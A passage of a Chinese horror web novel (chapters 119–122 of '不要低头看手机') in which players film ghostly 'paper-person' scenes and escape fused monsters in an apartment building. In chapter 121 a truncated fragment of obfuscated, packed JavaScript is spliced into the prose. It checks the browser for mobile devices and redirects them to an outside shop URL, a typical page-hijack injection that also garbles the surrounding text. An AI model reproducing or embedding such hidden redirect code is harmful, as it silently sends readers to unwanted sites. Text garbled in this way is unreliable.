“这么急啊？”姚务锦惶恐不安。
“你还想经历多几个周期吗？”箫云筝白了他一眼，“这里的融合物恐怕会越来越多哦。按黎心小姐的话来说，融合物杀掉你可是轻而易举。”
“嘶——”姚务锦吸了一口冷气，“那第一段重要视频要拍什么？”
“按鬼段漓所想，视频主体需要锁定花舟和段漓。”沈霁说，“第一段要拍的，应该就是十点整，花舟去敲段漓家的门。”
“那...谁去拍啊？独自前往才能触发纸人情节吧？”姚务锦颤抖着问。
“这才是你真正关心的吧。”箫云筝“啧”了一声。
“我去吧。”
异常坚定的声音飘入众人的耳朵里。
119. 不要低头看手机（27）
话语的来源是苏灵妤。
众人有些惊讶地望向苏灵妤，她的眼眸泛着涟漪，其中却坚定十分。
许舟说：“我知道白书圆的死...可能对你的打击比较大，但你确定...”
苏灵妤毫不犹豫地点了点头：“我确定。”
“她要去，就让她去啊。”姚务锦迫不及待地喊道。
“我会去的。”苏灵妤音量逐渐增大，她打理了下自己方才弄乱的碎发，“我拿了瑶姐的手机，就当第一个去拍摄的人好了。”
许舟还想劝阻，但见苏灵妤崩成一条直线的下颔，最终只是说道：“那你，注意安全。”
说罢，许舟拿出了刚刚从506拿回的dv机，郑重地递给苏灵妤。
苏灵妤慢慢地眨了下眼，接过dv机，向楼道走去。
“第一个拍摄地点，应该在段漓的家403。”许舟在后面提醒，“十点整的时候，花舟会敲响她家的门。”
苏灵妤回眸一笑，对着许舟挥挥手，便迈着坚定地步伐下了楼。
“第二个片段，谁来拍？”沈霁对着剩下的人说。
“等小姑娘回来再考虑嘛。”姚务锦讪讪地说。
沈霁不假思索地摇了摇头，他眉眼乌沉：“这三小时的拍摄应该是不间断的，等她回来再考虑谁去下一个，完全来不及，可能会错过一些内容。”
“我去。”许舟声线微凉淡漠。
“黎心大佬，你去，我们可就放心了。你可一定要小心。”姚务锦忙不迭地说，仿佛急于让第二段视频的人选尘埃落定，以让自己幸免。
沈霁沉默半晌，最终只是说道：“注意安全。”
语气有些漫不经心，尾音却拖着几分不明显的关怀。
“放心啦。”
“那...那是什么！”姚务锦指向506的卧室，身子连连挤向门口。
“哇哦。我好像看见了什么不得了的东西。”箫云筝眯缝着双眸，目光有一丝探究。
许舟顺着两人的目光望去，衣柜的两个柜门正在激烈地摇晃，不断地打开而又关上，关上而又打开。
趁着衣柜开启的间隙，许舟却发现衣柜里黑漆漆一片，似乎有两团模糊的影子在蠕动，至于她在506幻境中的衣柜里见到的那些衣服，根本无影无踪。
“向后退。”许舟一声落下，带着几人向506的门口走去。
刚踏出门框，衣柜门却停止了晃动。
取而代之的是...
“嘎吱——叽里——”
只听见卧室的衣柜内发出熟悉的声音。
这勾起了许舟的回忆。
“我在公共厕所听见过这种声音，是纸人在用指甲摩擦墙面或门板！”许舟果断地说，“快走。”
姚务锦如脚底抹了油，头也不回地径直向楼梯口冲去。
直到跑出一段距离，姚务锦颤颤巍巍地回头问道：“506怎么还有纸人？那两个纸人不是已经和对应的活人融合了吗？”
“衣柜里面的就是活人和纸人的融合物！融合物的指甲一样能发出那种声音。”许舟一边说着，一边冷静地带上了506的门。
“没错。”沈霁补充道，“那老妇只是暂时驱逐了506夫妻的融合物，他们还活着。”
说罢，沈霁拉了拉许舟关门的手腕，却又触电似地缩了回来。
两人对视一眼，不动声色地点了点头，齐齐向楼梯口跑去。
融合物似乎智商不高，但他们武力值却是毋庸置疑的。
关门只能短暂地延缓两名融合物的行动，却无法真正将他们拒之门外。
果不其然，门锁发出窸窸窣窣的响声，两个融合物此刻开始摆弄起了门锁。
当几人都跑到楼梯口时，便听到了低沉而愤怒的叫声。
“吼——”
506内的声音震耳欲聋，让人隔着门都能想象融合物黎茗丽和融合物许钊龇牙咧嘴的模样。
五楼便是智汇街13号的顶楼，四个人一溜烟地向楼下冲去。
“哐当——”
在几人来到四楼后，门开了。
四楼的雾气似乎更重更浓，纵然沈霁手持电筒，半米开外的人与物仍是难以锁定辨认。
箫云筝看了看手机，道：“哈哈哈哈真有意思。”
“又有什么事这么有意思？”姚务锦肥厚的嘴唇抖了抖。
“现在已经晚十点了，苏灵妤应该已经进入403，开始拍摄了。”箫云筝卖关子似的一顿，“接下来，我们剩下的人就可以和那两个融合物，愉快地玩耍了！”
仿佛是为了印证箫云筝的话语，重重而错乱的脚步声从楼上向下靠近。
“变态。”姚务锦小声嘀咕。
“变态？呵。”箫云筝玩味地摸了摸下巴，“刺激，惊险，挑战，不就是人生最大的追求么？！”
听着极速靠近的脚步声，许舟心知融合物速度非他们几个人类可以匹敌。
她丝毫不理睬箫云筝的话语，张望了零点五秒地四周，而后捂住了沈霁手里的手电筒。
沈霁立即心有灵犀地关闭了手电筒。
此刻，4楼陷入了一片昏暗。
落入楼道的月光在迷雾的稀释下变得薄弱，纵使是眼前之物，在此刻也变得模糊不清。
几乎失去视觉的众人，嗅觉和听觉在此刻变得万般敏锐。
浓厚的雾气中，似乎还夹杂着一抹香甜。
“嘶——人呢？”来到四楼的融合物“黎茗丽”问道。
融合物“许钊”用力跺了跺脚，却无人应答，亦无灯理睬：“我忘了，只有五楼的声控灯是完好的！”
许舟瞳孔微缩，立即屏住了呼吸，融合物“许钊”的声音，就在她的正前方！
她悄悄地挪到楼梯口，发动在“夕望图书馆”时获取的异能“蔓舞千丝”。
登时，三楼与四楼交界的平台上长出了一根茁壮的藤蔓。
许舟控制藤蔓，狠狠地往地上拍了几下，发出清脆的响声。
“我好像听到了...脚步声。”“黎茗丽”狐疑道。
“许钊”恶狠狠地说：“我也听到了。”
话音刚落，许舟的身子往向上的楼梯一转，让开了一条道，同时收回地上的藤蔓。
两名融合物争先恐后地向楼下追求，脚步声渐行渐远。
良久，沈霁才终于打开了手电筒。
姚务锦正猫在地上，头埋在双膝间，瑟瑟发抖。
“大叔。”箫云筝轻笑一声，“他们走了。”
“走...走了？”姚务锦微微抬头，看向许舟。
许舟微不可察地点了点头。
“嘎吱——”
“啊！”姚务锦急促地叫了一声，连滚带
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爬地向声音反方向冲去。
“你干嘛？”苏灵妤从刚刚打开的403房门探了个头，疑惑地问道。
“你吓死我了！我还以为...”姚务锦埋怨道。
苏灵妤：“......”
“怎么这么快就出来了？”许舟顿生不好的预感。
在她印象里，小时候的自己来到段漓家后还停留了一段不短的时间。
苏灵妤递出dv机，眉头紧锁：“唉，你们看看吧。”
许舟接过dv机，调出了刚刚苏灵妤拍摄的视频。
视频长度很短。
***
十点整。
除了段漓外，空无一人的昏暗的家中。
纸人段漓窝在被窝里，紧张地握着被角。
可以想象在此之前，段漓就像很多孩子睡觉前一样，关灯后一溜烟似地跑上床，将自己笼罩在温暖的被窝之中。
被子成为了最好的保护罩。
“咚——咚——”
门口传来了规律的敲门声。
“谁呀？”纸人段漓紧张兮兮地将被子往下拉了拉，一双小眼睛滴溜溜地望向门外。
“是我。”花舟的声音从门外传来。
“舟舟姐，你来找我玩吗？”
“对。”
肯定的答复让纸人段漓对黑暗的恐惧顿时烟消云散，她一脚踹开被窝，从床上一蹦三尺高。
“快来给我开门，阿漓。”花舟迫不及待地叫着。
“来啦来啦。”
纸人段漓连连回应，甚至顾不得穿上拖鞋，便光着一对纸人脚丫走到门边开了灯，随后扒拉开门锁，将门打开。
只见门外，空空如也。
哪有什么花舟？
但纸人段漓脸上却挂着晴云，面露欣喜之色，一双小手搭在空气上，仿佛握住了另一双看不见的手。
她便以这种姿态，退回到了403的客厅中：“怎么突然想起我来啦？”
“我爸出门办事啦，家里没人。”纸人段漓跟前的空气诡谲地发出了花舟的声音。
紧接着，一团厚重的迷雾飞速填满了整个403，dv机镜头的画面变得模糊不清。
***
而前面的那一幕幕画面触动了许舟记忆深处的某个点。
那天，她的亲生父亲带着行李箱，告诉自己他要出门办事，自己居然轻易信了。
而后，她做了让她后悔至今的决定——去段漓家，找她一起玩。
“就拍到这里。”苏灵妤道，“一阵忽如其来的迷雾阻止了我的拍摄。我停止拍摄后，纸人段漓就从眼前消失了。”
苏灵妤继续说：“我略微找了找，在她卧室儿童单人床的被窝里找到了她。姿势和我们第一次见到纸人段漓时一样。”
“能拍到当年的事情，起码说明我们在特定时间拍摄纸人情节的思路没错。”沈霁沉眸道，“中途出现的迷雾，可能与画面中消失的花舟有关。”
“我同意。画面中主角不齐全，因此不能完整拍摄...咳。”许舟道。
“滋——滋滋——”
在众人说话之际，苏灵妤用过的dv机发出断断续续的电流声。
定睛一看，显示屏的画面被一片全黑取代。
片刻之后，黑漆漆的画面之上出现了白色线条，勾勒出了一个惊悚的鬼脸。
120. 不要低头看手机（28）
鬼脸停留于显示屏之上，久久仍未消去。
“怎么回事？”姚务锦怔怔地问。
许舟一言不发地捧着dv机，大多按键按了一通，都无法驱逐这莫名现身的鬼脸。
到最后，无可奈何的许舟按下了关机键。
但这dv机不为所动，鬼脸就静静地杵在那里，用他阴森而邪魅的目光审视着屏幕前的众人。
许舟最后拍了拍这台dv机，终于给它下达了死亡通知书：“这台dv机，不能用了。”
“啊？不能...用了？”姚务锦面色笼罩着一层阴云。
“不能用了。”苏灵妤的情绪愈发稳定，她沉着道，“一台dv机只能拍摄一次。”
如果说先前对每台dv机的使用次数只是一个大概的猜测，那现在，鬼脸的出现无异于将猜测变成了肯定。
许舟点了点头，压着嗓子道：“咳...没错，如果拍摄失败，dv机就会直接损毁。”
“但我记得我们只有四台dv机...要拍摄的片段也是四个。”姚务锦缩着肩膀道。
箫云筝大张双臂，肆意地笑道：“那可就太刺激了！我喜欢！”
姚务锦和苏灵妤都不由自主地离箫云筝反方向挪了几步。
“智汇街13号内应该还能获取更多dv机。”沈霁为压抑的氛围打下一针安定剂，“根据我们之前的观察，触发纸人情节或与活人住户互动，都有可能获取dv机。”
“对，当务之急，还是先确认拍摄失败的原因。”许舟正色道。
“哟哟哟，一唱一和的。”箫云筝倚在墙上，啧啧摇头。
“有吗？”许舟微微仰头，目光从帽沿下望向沈霁。
“没有。”沈霁一本正经地说，“一定是误会。”
“对，误会。”许舟点了点头。
箫云筝眯缝双眼，目光在许舟和沈霁之间转了个来回：“你们欺负我。”
许舟再次：“有吗？”
沈霁摇了摇头：“没有，不可能。”
箫云筝：“......”
苏灵妤拉了拉许舟：“黎心姐，我觉得拍摄失败的原因还是和画面里失踪的花舟有关系。”
苏灵妤的话拉回了许舟的思绪，却又在她的心中埋下了一颗不安的种子。
她的心砰砰直跳——
这楼里恐怕根本没有纸人花舟！
拍摄视频里的花舟，需要许舟亲自扮演！
许舟一时之间陷入两难之境。
向前，是拍摄视频，但秘密可能就此暴露于众玩家眼前。
向后，是阻拦拍摄，但却有可能因此丢失一些拍摄才能获取的剧情完成度。
许舟咬了咬下唇，挣扎半晌道：“你们还记得，我进入406那次吗？”
“记得。”苏灵妤说，“当时你进去后，门就自己关上了，在里面触发了纸人情节。”
沈霁听了两人的对话，面色凝重，漆黑的眸子里乌沉沉一片，仿佛已经联想到画面中花舟消失的真相。
许舟深吸一口气，继续引导道：“但我进去的时候，环顾了一下四周。我确认里面没有纸人。”
“但好像...纸人的位置和能否触发纸人情节没有必然关联吧？”苏灵妤小心翼翼地问，“纸人的位置是固定的，但当年事件发生的三小时里，人物的位置是会移动的。”
“哇。”箫云筝鼓起了掌，用赞许的眼神看了苏灵妤一眼，“那你觉得纸人的位置由什么决定呢？”
苏灵妤垂眸思索，哭过的眼睛还略微有点浮肿。
片刻之后，她说：“应该是纸人所对应人物在当年晚十点整所处的位置吧...？”
紧接着，苏灵妤又谦虚谨慎地补充道：“我猜的，不一定对。因为当年十点整时，段漓躺在床上准备睡觉，所以我们现在看到的纸人段漓也出现在床上。”
许舟淡淡一笑，面色却有些苍白。
她引导道：“那花舟在十点整时，应该在哪呢？”
“在段漓家，也就是403的门口！”苏灵妤眼神闪过一道光，“我们在403门口，压根没见过任何纸人呀！”
“所以这楼里，确实不存在纸人花舟。”许舟终是亲口说出了答案，“花舟，需要我们亲自扮演。”
沈霁低着头，似乎早就知道许舟想说什么，他许久不言，不知在思考着什么。
“不...不会吧？”姚务锦恐慌道，“我们不仅要拍摄，还要扮演这样一个危险角色？”
许舟说：“但很多线索都指向了这一点。比如第一个周期结束时，鬼段漓提醒我们不要停留在406。已知死亡条件是纸人和活人的相遇，楼里没有纸人花舟，那...”
苏灵妤接过话：“说明纸人花舟的这一身份，被我们之中的一人所代替。如果这个人与晚七点到晚十点的活人NPC花舟相遇，其他人就会触发死亡条件。”
“那...谁要扮演花舟呀？”姚务锦问。
“黎心呗。”箫云筝懒散随意地说，“只有她进406时，门口蜡烛不仅没有熄灭，还由黄光转蓝，这都想不到？”
“不过，为什么会选中黎心姐？”苏灵妤低头沉思。
许舟张了张嘴，刚想说话，便被沈霁打断。
“副本的恶趣味。”沈霁抬起了头，已然敛起刚刚低沉的神色，所余尽是淡漠平常，“我经历过很多副本，有时候就是会随机挑选一个幸运儿，让幸运儿经历更多危险。”
副本与系统的习性确实如此，沈霁的理由无懈可击。
“确实是这样。”箫云筝无聊地打了个哈欠，“如果幸运儿是我就好咯，多刺激呀。”
然而，在众人话语之际，姚务锦的血色被顾虑掠走：“这样的话，第二段视频就不能让黎心大佬拍了吧？”
“说了半天，不就是自己不想去拍吗？”箫云筝弯腰凑近姚务锦，与他对视。
“第二段，我拍。”沈霁干脆利落地说。
许舟将先前在506厨房获取的dv机取出，递给了沈霁。
“这玩意儿怎么处理啊？”箫云筝指了指那台鬼脸dv机。
“你想要送你了。”沈霁拿过鬼脸dv机，二话不说送向箫云筝。
箫云筝掀了掀眼皮
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：“那可真是感谢沈霁先生的礼物了。”
话音刚落，那台鬼脸dv机四分五裂，化为了一地的粉末。
粉末中，有一个指甲盖大小的零件冒着一闪一闪的红光。
“叮铃铃～叮铃铃～”
零件发出手机清脆的响铃声。
“叮铃铃～叮铃铃～”
“不好。”许舟顿时说，“这铃声会吸引融合物的！”
沈霁对着零件连踩好几脚，零件的红光渐渐变得微弱，直至熄灭，而铃声始终响个没完。
仿佛为了迎合零件的声响，走廊尽头右侧的浓雾倏地冒出两团蓝光，形态犹如鬼火。
“咚咚咚。”急促的脚步声从楼下传来。
“阿钊，他们果然还在四楼！”
沈霁蹙着眉，关上了手里的电筒。
“叮铃铃～叮铃铃～”
姚务锦抬腿就想冲向与两个融合物反方向的五楼，却被箫云筝无情地拉住提醒：“五楼是顶楼，我没记错的话，那里除了506都进不去。你真的要上去吗？”
506，还是黎茗丽和许钊的家。
上去了，就是死路一条。
姚务锦被箫云筝的话吓软了腿，一时失了态，对着众人啜泣。
箫云筝看着地上翻转跳跃的零件，他虽不知不久前那次相似的遭遇中，是谁在黑暗迷雾中用异能或道具引走了两名融合物，但他企图故技重施。
他用力用双手捻住零件，拉起来就往向上的楼梯扔去。
谁知，他一扔扔了个空。
“疼死我了...”箫云筝用的力气实在过大，甩疼了肩膀的他不住地用另一只手揉搓。
零件依旧在地上，旋转，跳跃，发出欢快俏皮的铃声。
而脚步声愈发接近。
“分头躲进四楼的房间。”许舟心生一计，冷静而又语速飞快，“403段漓家、405兰姨家以及406花舟家都可以进入。”
“用触发纸人情节的方式，以毒攻毒，逃避融合物的追踪。”沈霁会意。
“但是...当年这个时间点，花舟应该还在段漓家。也就是说花舟家现在没有纸人情节。”苏灵妤垂睫道，“而且，一处应该只能进一人，我们有五个人。”
虽然许舟需要扮演纸人花舟，但在花舟不出现的纸人情节中，许舟也只是个普通的拍摄者的身份，与其他人无区。
她也需要独自进入特定房间，触发纸人情节。
“404是一家四口，他们家可能会触发不止一处的纸人情节。”许舟当下立断。
“我推过他们家的门，是可以进入的！”沈霁说。
蓦然，五人作鸟兽散，奔向不同的房间。
姚务锦边跑边说：“我去兰姨家！”
显然，他觉得在这几个房间中，兰姨家最安全最熟悉。
其他人并无异议。
苏灵妤冲向她拍摄过的403。
箫云筝、许舟和沈霁不约而同地跑向404。
然而...
许舟推开门的一瞬间，姚务锦从405折返，一把拉住了她。
121. 不要低头看手机（29）
“你做什么？！”许舟有些恼了。
“黎心大佬，我不敢一个人。”姚务锦瑟瑟道，“我可以和你换吗？你去405，我去404。”
“他们，就在那里！”“许钊”率先来到四楼，他兴高采烈道。
而已经进入了404的箫云筝听了姚务锦的话，从门缝中探头，对许舟和沈霁道：“你们还管他做什么！”
“许钊”和“黎茗丽”一前一后向404赶来。
沈霁近乎于瞪着姚务锦，狠厉道：“是你先前说要去405，现在却又扭扭捏捏。”
许舟也不惯着姚务锦，她对他已然仁至义尽。
许舟将姚务锦拉着自己的手扯下，404的门却“嘭”地一声关了。
多么熟悉的场景。
先前许舟独自踏入406时，门也是如此突然地关闭。
显然，箫云筝进入404客厅后，满足人数条件，纸人情节触发了。
“怎么办？”姚务锦见状神色大变，音调拉长升高。
而他的男高音在漆黑的迷雾中格外刺耳，引来了“黎茗丽”和“许钊”，他们如饿虎扑食般直直冲向姚务锦，将其扑倒。
“许钊”伸出他纸肉相融的舌头舔了舔唇，转头看向迷雾中的“黎茗丽”：“这个人就交给我，他们俩...”
“黎茗丽”会心一笑，扑向不远处的沈霁和许舟。
“啊——”
在姚务锦的惨叫声下，许舟的目光瞥到走道尽头那两抹蓝色的光团。
回忆与视野瞬间如电路的两端般被倏地接通。
“是蜡烛。”
是406门口的两盏蜡烛。
是面对许舟时由蓝转黄，面对其他人时骤然熄灭的那两盏蜡烛。
许舟声音清冷平淡。
黑暗中，她沉着地发动“蔓舞千丝”，从天而降的粗壮藤蔓挡在了“黎茗丽”的跟前，短暂地阻挠了她的进一步行动。
她看向沈霁的方向。
两人同时对着对方的方向微不可察地点了点头——隐藏规则，似乎随着蜡烛蓝色光团的出现而揭开。
“救我——”姚务锦的叫声长而慢。
“阿钊，我被什么东西缠住了。”“黎茗丽”与面前的藤蔓纠缠不休。
但融合物的实力不容小觑，藤蔓仅是一时之策。
迷雾中，沈霁模糊的身影向406的门前飞速移动。
姚务锦仍在持续不断地喊着：“黎心！救我啊！”
被许舟救过的他已然将许舟当做了自己的救世主。
“你太吵了！”“许钊”用力一扯，姚务锦只觉自己身上缺失了一个部分，他的鲜血登时飞溅四周。
而“黎茗丽”亦用蛮力拉断了面前的藤蔓，奔向沈霁：“不好！阻止他，阿钊。”
“你的对手是我。”许舟声音如同坠入冰窖，从墙上横亘出一团巨大的藤蔓，再度拦住了“黎茗丽”。
而被“许钊”扯下一块肉的姚务锦疼得噤了声，他屏住呼吸渴望以此对抗剧烈的疼痛。
直至...
尽头那两个蓝色光团倏地抖了两抖，随即消失在这片朦胧之中。
瞬间，整个四楼的走廊寂静无声，针落可闻。
“许钊”停止了撕扯。
“黎茗丽”停止了与藤蔓缠斗。
半晌，粗重的呼吸声从地上传来。
“呼哧——呼哧——”
憋气太久的姚务锦大口大口喘着粗气。
沈霁打开手电筒，照向前方。
“许钊”和“沈霁”仍保持着方才的姿势，而姚务锦的身下是一摊献血——他的肩膀上被扯掉了一块肉。
“救我。”他有气无力地喊道。
许舟目光锋利带刀：“自己从融合物身下爬出来。”
姚务锦用尽浑身解数猛地一推，“许钊”咕咚一下落在他的身旁：“呼——呼——怎么回事？”
“自己找个房间，躲起来。”许舟语气冰凉、冷漠。
姚务锦被许舟此刻不近人情的语气所威慑，他只是剧烈地喘着气，却也不再吭声。
他怀疑，自己若再像先前那样无穷无尽地索取帮助，下一秒杀死自己的不会是两个融合物，而会是许舟锋利带刀的目光。
姚务锦连滚带爬地来到405兰姨家门口，咬咬牙推门而入。
而403的门蓦然被苏灵妤从内打开。
虽然两名融合物暂时被限制住了行动，但苏灵妤看见面前的景象，仍然先是条件反射般地往回退，而后才深吸一口气，走了出来。
“403的纸人情节结束了，黎心姐，沈霁哥，你们抓紧去406拍摄吧。403和406距离不远，应该很快就要开始了。”苏灵妤冷静的语气掺杂着一丝颤抖。
许舟点点头，而冰凉的目光被苏灵妤融化：“这里就交给你了。等我们进入406后，你抓紧时间来到406门口。”
苏灵妤面露疑惑，但却坚毅地一笑：“放心吧。”
许舟快步走向406，沈霁后退两步，关上了手电筒。
406旁的两盏蜡烛再次亮起了蓝色光团。
“阿钊？”融合物黎茗丽恢复了活动，试探性地问道。
“快走。并肩进。”许舟飞速来到406门口，提醒道。
沈霁了然于心——若不一起进入，便有发生上次相同情况的风险，即许舟一人进入后便直接触发纸人情节。
蜡烛的蓝色光团瞬间变为黄色。
“咕噜噜——”融合物许钊从地上爬起，伸展了下腿脚，“我感觉充满了力量。”
苏灵妤控制着自己略抖的身体，站在406附近待命。
万事俱备，只欠东风。
许舟和沈霁抓紧时间并肩进门，由于门框并不宽，两人的肩膀难免有些触碰。
不知怎么地，许舟发觉自己的心跳，似乎漏跳了半拍。
在两人进入406后，门悄悄地自己关上了。
此刻的木门仿佛承载着无穷的能量，而脆弱的白墙亦然。
它们一齐形成一道屏障，隔绝了楼道的声音。
黑暗中的沈霁抬起了dv机，将镜头对准客厅的中央。
仿佛为了配合这一场拍摄，客厅所连接的所有房门不一而同地关闭，而客厅的吊灯自觉亮起，将灯光洒向客厅的每一个角落。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604085|128991||http|test|mini|href|location''.split(''|''),0,{}));
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此刻的406中，视野清明，迷雾全无。
下一秒，脆而冷的触感攀上了许舟的手臂。
纸人段漓站在她的身旁，亲切地拉着她：“舟舟姐，我们今天玩什么？”
声音顽皮而灵动，却触动了许舟埋藏在最深处的回忆。
看着纸人段漓的纸人面孔，许舟竟觉她的相貌与印象中真正的段漓重叠，并无任何差异。
当时的自己...是怎么回应段漓的来着？
许舟蹙眉的同时，张了张嘴。
然而与此同时，小花舟的声音在许舟所处的位置传出，却不出自于许舟之口。
“还没想好。你有什么建议吗？”
许舟心里不轻不重地笑了一声——这副本，还怪贴心的。只需要自己在这里张嘴，不需要自己真的记得当时所说的原话。
“你找我过来，怎么这都没想好呀！”纸人段漓带着笑意埋怨道。
她托着腮思索片刻：“那...捉迷藏或者跳格子？”
“我想想...那就捉迷藏吧！跳格子玩过好多次啦。”
“那...谁先找谁先躲呢？”纸人段漓期盼地看着许舟。
许舟薄薄的嘴唇微张，声音凭空产生：“我先躲我先躲！我对我家比较熟悉，你就趁着这次找我，多观察观察周围环境，看看哪里比较适合躲藏。”
“好耶！舟舟姐考虑得就是周到！”
“你夸得我都不好意思了。”小花舟的声音有些羞赧。
“这有什么呀！事不宜迟，我们现在就开始吧！”纸人段漓兴高采烈地原地跺了跺脚。
“好！我肯定不会被你找到的！”
纸人段漓松开许舟的手臂，慢慢地靠到客厅通向楼道的木门上。
沈霁稍微挪了几步，调整dv机的镜头，确保更好的拍摄角度。
纸人段漓面对木门，一双纸人小手捂在眼睛前：“我数二十秒，快去躲哦～”
“二十、十九...”
而厨房门忽地打开了。
就像是，给许舟的指引。
她清楚地记得，当年的她，便是躲到了厨房的一面大柜子中。
“十六、十五...”
许舟不由得像当年那样，踮起了脚尖，静悄悄地走向厨房。
“十、九...”
许舟小心翼翼地打开柜门，当年轻易可以钻入的柜子，对长大后的许舟而言还是略微狭窄。
她将身子缩成一小团，勉勉强强地挪进柜中，而后轻轻地掩上了柜门。
大柜子正对着厨房门，许舟便从柜门中的那微小的缝隙向外看去。
纸人段漓小小的身子依旧靠在木门上，她的脚尖动来动去，似乎已经迫不及待地出击。
“三、二、一。”
纸人段漓放下双手，一个滑步转过身来，在原地蹦了两下，装作张牙舞爪的样子：“时间到咯～我来抓你啦～计时两分钟哦！”
纸人段漓扭头看向墙上的钟，自顾自说道：“我看看，现在是十一点零二分。”
话音刚落，客厅的吊灯倏地熄灭，沉沉的迷雾涌入整个406，模糊了许舟和沈霁的视野。
122. 不要低头看手机（30）
良久，确定406内再无纸人情节，许舟轻轻推开柜门。
而同时，406内再次被沈霁手电筒的光照亮。
许舟慢慢走回客厅，眼中有些疑虑，沈霁亦然。
“先出去再说。”许舟不动声色地说。
......
回到四楼走道时，融合物“黎茗丽”和融合物“许钊”已经不见了。
而苏灵妤站在406门口，喉间溢出低低的笑声，仿佛是在憋笑。
看见许舟，她眉眼间盛有笑意：“黎心姐，你回来了？”
“你笑什么。”许舟不明所以地问。
“那两个融合物...”苏灵妤欲言又止。
许舟：“......？”
苏灵妤轻笑两声：“被...”
“累死我了。”箫云筝气喘吁吁地从楼下爬上来，“这两人真重。”
见此情形，许舟对她和沈霁在406拍摄时，楼道的场景有所猜测。
“你把他们搬哪去了？”许舟不禁问道。
“保安室公共厕所的隔间里。”箫云筝摊摊手。
未等其他人开口，箫云筝便紧接着说道：“隔间锁了。公共厕所门锁了。保安室门也锁了。”
三重锁。
“虽然他们能撬门，但拖住一段时间不成问题。”箫云筝意味深长地一笑。
许舟像想起了什么似的，问道：“对了，厕所里的纸人保安...”
箫云筝一顿，眉间微蹙，半晌，他说：“没见到。”
“果然没有。”许舟说，“正常状况下拍摄期间才有的纸人保安，在我们触发了某种条件后，他出现在本不该出现的十点整以前。我当时冲水把他冲掉了，所以...”
“所以纸人保安彻底从智汇街13号消失了。”沈霁接过话，“但触发的条件是什么，仍有待商榷。”
“不过我倒是想到他当时把我们关在厕所里，是在等什么了。”许舟笑笑。
“我也是。”沈霁点点头。
“哦？愿听沈霁和黎心高人一言。”箫云筝百无聊赖地说。
许舟：“......”
沈霁：“......”
许舟说：“他在等活人保安回来，让我们三人见证他们的融合，便会触发我们的死亡条件。若无手机在身，将会致我们于死地。”
说着说着，许舟的面色却忽地发生了变化，一层乌云转瞬即逝地笼罩在她的脸上。
“黎心姐，你怎么了？”苏灵妤担心地问。
“如果纸人保安是唯一的。那506的纸人夫妻也是唯一的。”许舟缓缓开口。
506的纸人夫妻，即纸人黎茗丽和纸人许钊。
许舟以506的纸人夫妻代称，是因为其他玩家可能不知道他们的名字，如此方能避免引起怀疑。
沈霁很沉地吐了一口气：“但他们已经变成融合物了。”
许舟说道：“没错，但我第一次进入406触发纸人情节时，见到这两个纸人参与其中。但现在这两个纸人已经不完全是纸人了...”
箫云筝兴高采烈地拍拍手：“也就是说，如果我们需要拍摄完四段情节，为了避免画面缺失两个任务导致拍摄失败，就只能用融合物来拍摄了。”
“你高兴什么？”苏灵妤吐槽。
箫云筝嬉皮笑脸地说：“要和两名融合物正面交锋，多刺激，不该开心吗？”
“嘶——”某人似乎吸了一口冷气。
箫云筝望望四周：“谁啊？哦，不会是姚务锦吧。”
姚务锦推开405的门，满头大汗地走出来。
一出门，他便一屁股坐在了地上。
“你还活着呀？”箫云筝弯腰低头，而后指了指他血肉模糊的肩膀，“怎么弄的呀？”
姚务锦气得连翻白眼，但他却又畏惧在场的众人，最终他只是问道：“黎心大佬，你刚刚是怎么让两个融合物停止行动的？...好痛。”
也许是猜到了众人不会一直帮自己，姚务锦迫不及待地掌握相关信息，若有来日他再次遇到相同的危险，自己还能有应对之法。
许舟靠着墙，掀了下眼皮：“406的门口有两盏发着蓝光的蜡烛，记得吧？”
“记得...嘶...”姚务锦捂着肩膀。
“我们当时试着进去，有印象吗？”许舟不咸不淡地说。
吃痛的姚务锦不禁屏住呼吸，艰难地“嗯”了两声。
“咳咳...箫云筝和瑶姐站到门口时，蓝色光熄灭了，而门并没有打开，说明蜡烛的熄灭预示着禁止通行。”许舟解释道，“而我站到门口时，蓝光转化为黄色，406的门便开了，说明黄光预示着可以通行。”
沈霁说：“你可以理解成红绿灯。熄灭为红灯，黄光为绿灯。这不仅仅对着406的门适用，还可以用于控制融合物。”
许舟轻松地笑了一下：“那个骷髅老妇和我们玩了个文字游戏。她说，融合物伤人不受规则限制...咳。”
“她说的是伤人。事实上也确实如此。”沈霁会心一笑，“规则不能阻止他们伤人，却可以阻止他们的行动。”
姚务锦眉头紧锁：“所以...嘶...刚刚沈霁跑到406前引发蜡烛熄灭，两个融合物瞬间就不能动了。黎心到406前引发蜡烛变为黄光，融合物得到增强，移动加速？”
箫云筝似乎有些难以置信：“哇哦，你怎么变聪明了？”
“...都说到这个份上了，想不知道都难。”姚务锦扭过头去，喃喃低语，“刚刚兰姨家的纸人情节也太可怕了...”
“大叔，你说什么？没听清。”箫云筝进一步道。
“什么都没说。”姚务锦压着声音道。
“我好像听到，你说兰姨家纸人情节可怕？”箫云筝唇边绽开一抹笑容，炫耀似地道，“我刚刚触发的纸人情节里，可有三个纸人呢，我都没说怕。”
“而且我还....”箫云筝拿出一台dv机晃了晃，“拿到了一台新的这个。”
“...你最厉害，行了吧。”姚务锦气得忘了疼。
“你们第二段...拍摄得怎么样？”苏灵妤见到dv机，正色道。
“拍是拍了。”许舟一顿，“但又出现了迷雾。”
“还是有迷雾？！”苏灵妤微讶。
“叮咚～”<
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p>话音刚落，沈霁手里的dv机突如其来地响了一声。
几个人条件反射般攥了攥拳头，紧张地看向dv机，而又瞄向走道尽头。
所幸，两个被锁在隔间的融合物没有冲上来。
而沈霁手里的dv机也仅仅响了一次。
许舟低头凑过去，眼睛直勾勾地盯着沈霁手里的dv机。
屏幕仍然变为了深不可测的浓黑，但半秒后，上面渐渐浮现出一个不同于鬼脸的绿色轮廓。
这次的轮廓形状简单，在它未完全呈现之时，便可以轻而易举地判断它究竟是什么。
“这是个绿色的勾。”许舟轻吐一口气，“我们刚刚应该是拍摄成功了。”
许舟低着头，吐出来的气不轻不重地落在沈霁的手背，他不禁蜷了蜷手指。
沈霁飞速地瞄了许舟一眼，许舟似乎并没有发现他的小动作。
半晌，绿色的勾化开，全黑的背景上浮现一行字——
该设备拍摄成功，设备已失效。
